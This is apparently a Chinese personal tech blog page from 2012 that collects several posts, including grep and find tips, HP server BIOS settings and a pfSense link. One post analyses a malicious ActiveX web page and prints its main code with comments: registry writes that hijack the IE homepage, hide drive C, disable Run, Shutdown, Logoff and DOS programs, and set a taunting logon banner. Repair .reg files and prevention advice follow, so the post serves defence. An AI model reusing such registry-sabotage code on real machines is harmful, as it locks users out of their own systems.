搜索文件夹内的所有文件里包含某字符串的linux命令

三月 13th, 2012

从文件内容查找匹配指定字符串的行:
$ grep “被查找的字符串” 文件名

从文件内容查找与正则表达式匹配的行:
$ grep –e “正则表达式” 文件名

查找时不区分大小写:
$ grep –i “被查找的字符串” 文件名

查找匹配的行数:
$ grep -c “被查找的字符串” 文件名

从文件内容查找不匹配指定字符串的行:
$ grep –v “被查找的字符串” 文件名

从根目录开始查找所有扩展名为.log的文本文件,并找出包含”ERROR”的行
find / -type f -name “*.log” | xargs grep “ERROR”

浏览网页注册表被修改之迷及解决办法

三月 13th, 2012

  浏览网页会被修改注册表?千真万确!如果你去浏览过下面的网页:****** ,你真有生不如死的感觉!

进入该网页会被:

  1.修改开始菜单

  1)禁止“关闭系统”
  2)禁止“运行”
  3)禁止“注销”

  2.隐藏C盘——你的C盘找不到了

  3.禁止使用注册表编辑器regedit

  4.禁止使用DOS程序

  5.使系统无法进入“实模式”

  6.禁止运行任何程序

  7.将IE浏览器的首页改为******,收藏夹中也被加入该网址。

  那么这些功能恐怖的功能是如何实现的呢?原来,该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害,我查看了其源代码,将其主要部分列了出来,并加了详细的注释(文中有“注”字的部分是我加的注释)。

:下面代码是将你的IE默认连接首页改为http://www.findfeel.com/
Shl.RegWrite (”HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Start Page”, “http://www.findfeel.com/”);

以下是该网页修改受害者的注册表项所用的招数

Shl.RegWrite (”HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun”, 01, “REG_BINARY”);

:使受害者系统没有“运行”项,这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。

Shl.RegWrite (”HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoClose”, 01, “REG_BINARY”);

:使受害者系统没有“关闭系统”项

Shl.RegWrite (”HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoLogOff”, 01, “REG_BINARY”);

:使受害者系统没有“注销”项

Shl.RegWrite (”HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoDrives”, “00000004″, “REG_DWORD”);

:使受害者系统没有逻辑驱动器C

Shl.RegWrite (”HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\WinOldApp\\ Disabled”,”REG_BINARY”);

:禁止运行所有的DOS应用程序;

Shl.RegWrite (”HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\ \WinOldApp\\NoRealMode”,”REG_BINARY”);

:使系统不能启动到“实模式”(传统的DOS模式)下;

又注:进入该网页,它还会修改以下的注册表项,使WINDOWS系统登录时显示一个登录窗口(在MicroSoft网络用户登录之前)

Shl.RegWrite (”HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeCaption”, “呜啦啦…”);

:这些代码会使窗口的标题是“呜啦啦…”

Shl.RegWrite (”HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeText”, “欢迎你!你这个超级无敌大白痴!《呜啦啦…》故事开始了,按确定进入悲惨世界”);

:上面一行是会在窗口中显示出来的文字

:下面两行代码修改注册表,使受害者所有的IE窗口都加上以下的标题:“呜啦啦…”

Shl.RegWrite (”HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title”, “呜啦啦…”);
Shl.RegWrite (”HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title”, “呜啦啦…”);

:到上面一行为止,完成了对受害者的注册表的所有修改!

:下面代码用来将其网页增加到受害者的收藏夹中

var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + “\\Favorites”;
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + “\\Documents and Settings\\
” + Net.UserName + “\\Favorites”;
if(!FSO.FolderExists(loc))
{
return;
}
}

:下面就是使其网页加入到你的收藏夹的具体代码
AddFavLnk(loc, “找到感觉www.findfeel.com”, “http://www.findfeel.com”);

  由于代码很简单,又加了注释,相信你已经看明白是怎么回事了。那么如果不小心进入该网页,并且已经中招了该怎么办呢?别急,下面给你列出了解决的办法。

受害用户的修复方法:

  1:对于Win9x用户,建议在电脑启动时按F8键,选择到MS-DOS方式下,使用Scanreg/restore命令来恢复以前备份的、正常的注册表。

  2:对于Win2000用户,把以下内容copy下来,存为unlock.reg文件,选带命令行的安全模式,用命令regedit unlock.reg导入,如何重启机器就OK了。

unlock.reg文件内容如下:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000095
“NoRun”=hex:
“NoLogOff”=hex:
“NoDrives”=dword:00000000
“RestrictRun”=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
“DisableRegistryTools”=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
“DisableRegistryTools”=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
“Disabled”=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
“NoRealMode”=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Winlogon]
“LegalNoticeCaption”=”"
“LegalNoticeText”=”"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
“Window Title”=”IE浏览器”

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
“Window Title”=”IE浏览器”

预防办法:

  1.要避免中招,关键是不要轻易去一些自己并不了解的站点。

  2.在IE设置中将ActiveX插件和控件、Java脚本等全部禁止

  3.可以通过升级到最新的病毒库,来预防该类恶意网页的侵害。

  4.既然该网页是通过修改注册表来破坏我们的系统,那么我们可以事先把注册表加锁:禁止修改注册表,这样就可以达到预防的目的。不过,自己要使用注册表编辑器regedit.exe该怎么办呢?因此我们还要在此前事先准备一把“钥匙”,以便打开这把“锁”!

  加锁方法如下:

  (1)运行注册表编辑器regedit.exe;
  (2)展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System下,新建一个名为DisableRegistryTools的DWORD值,并将其值改为“1”,即可禁止使用注册表编辑器regedit.exe。

  解锁方法如下:

  用记事本编辑一个任意名字的.reg文件,比如unlock.reg,内容如下:

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
“DisableRegistryTools”=dword:00000000

  存盘。你就有了一把解锁的钥匙了!如果要使用注册表编辑器,则双击unlock.reg即可。要注意的是,在“REGEDIT4”后面一定要空一行,并且“REGEDIT4”中的“4”和“T”之间一定不能有空格,否则将前功尽弃!

说明:对于“万花谷”网页的恶意代码带来的破坏,也可按上面所提的方法来预防,中招后也可参考上面的方法解决。另,KV3000对“万花谷”可完全恢复,对本文介绍的网页破坏系统现象,则无法安全恢复。

SecureCRT linux vim 颜色设置

二月 22nd, 2012

a 安装vim-enhanced包
b 修改secureCRT的属性:Options->SessionOptions ->Emulation,然后把Terminal类型改成xterm,并点中ANSI Color复选框。
c 按:进入命令模式输入syntax on也没有效果.这是因为vi没有识别你编译的文件类型
在命令模式下输入:set filetype=c
d 在/etc/profile中加入
export TERM=xterm-color
做以上几步就可以了

参考:http://hi.baidu.com/71167609/blog/item/4b939a9026600e88a977a499.html

HP BL580c G5 recommended bios settings

二月 14th, 2012

I’ve just run through all the BIOS settings I have in place on a DL380 G5 we’re using here as a vSphere pilot host (I will be using the same settings for VI3.5 in our VDI/View installation as well). Missing sections indicates that I didn’t make any changes there.

 

System Options

- Embedded Serial Port: Disabled

- Virtual Serial Port: Disabled

- Integrated Diskette Controller: Disabled

- NUMLOCK Power-On State: On

- Embedded NICs

          – NIC 1 Boot Options: Disabled

          – NIC 2 Boot Options: Disabled

- Diskette Write Control: Read Only

- Diskette Boot Control: Disabled

- Advanced Memory Protection: Advanced ECC Support

- USB Control: USB Enabled

- USB 2.0 Controller: Disabled

- USB DriveKey Boot Sequence: Internal DriveKeys First

- Power Regulator for ProLiant: OS Control Mode

 
PCI Devices

I didn’t make any changes here.

 
Standard Boot Order (IPL)

- IPL:1 Floppy Drive

- IPL:2 USB DriveKey (C:)

- IPL:3 CD-ROM

- IPL:4 Hard Drive C: (See Boot Controller Order)

 
Boot Controller Order

- Ctlr:1 PCI Slot 1 (HP Smart Array P400 Controller)

- Ctlr:2 PCI Embedded (HP Integrated PCI IDE Controller)

 
Server Availability

- ASR Status: Disabled

- ASR Timeout: 10 minutes

- Thermal Shutdown: Enabled

- Wake-On LAN: Enabled

- POST F1 Prompt: Delayed

- Power Button: Disabled

- Automatic Power-On: Enabled

- Power-On Delay: Random Delay

 
Advanced Options

- MPS Table Mode: Full Table APIC

- Processor Options

          – HW Prefetcher: Enabled

          – Adjacent Sector Prefetch: Enabled

          – No-Execute Memory Protection: Enabled

          – Intel (R) Virtualization Technology: Enabled

          – Expansion Card Caching Optimization: Disabled

          – Low Power Halt State (Intel C1E): Enabled

          – Intel Core C3 State: Enabled

          – Processor Core Disable: All Processor Cores Enabled

- Option ROM Loading Sequence: Load Option Card Devices First

- Embedded VGA Control: Automatic

- PCI-X Riser Maximum Bus Speed: Auto

 
If I make further changes, I will list them (and give the reasons for the change).

 
Regards,

The Execute Disable/No Execute CPU feature is not enabled for this machine

二月 14th, 2012

VSPHERE

在本地控制台上收到的警告消息

在计算机的系统 BIOS 中禁用了 No-Execute Memory Protection 选项的 HP 系统上或在计算机的系统 BIOS 中禁用了 Execute Disable 选项的 Dell 系统上安装 ESX 4.0 时,会出现 [未对为此计算机启用 Execute Disable/No Execute CPU 功能(The Execute Disable/No Execute CPU feature is not enabled for this machine)] 警告消息。

解决办法:在 HP 或 Dell 计算机的系统 BIOS 中分别启用 No-Execute Memory Protection 或 Execute Disable 选项。

 

Not sure if it’s the right one, but it may be talking about the memory data execution bit.  There is a enable/disable setting in your bios, under Security then Memory.  You’ll want to make sure this is enabled.  Also since this is a virtual machine you’ll want to verify VT is enabled in the bios also under CPU I think.

Pfsense双线负载均衡设置图解

二月 2nd, 2012

pfsense

http://blog.163.com/jacky_it/blog/static/16612145520110493758257/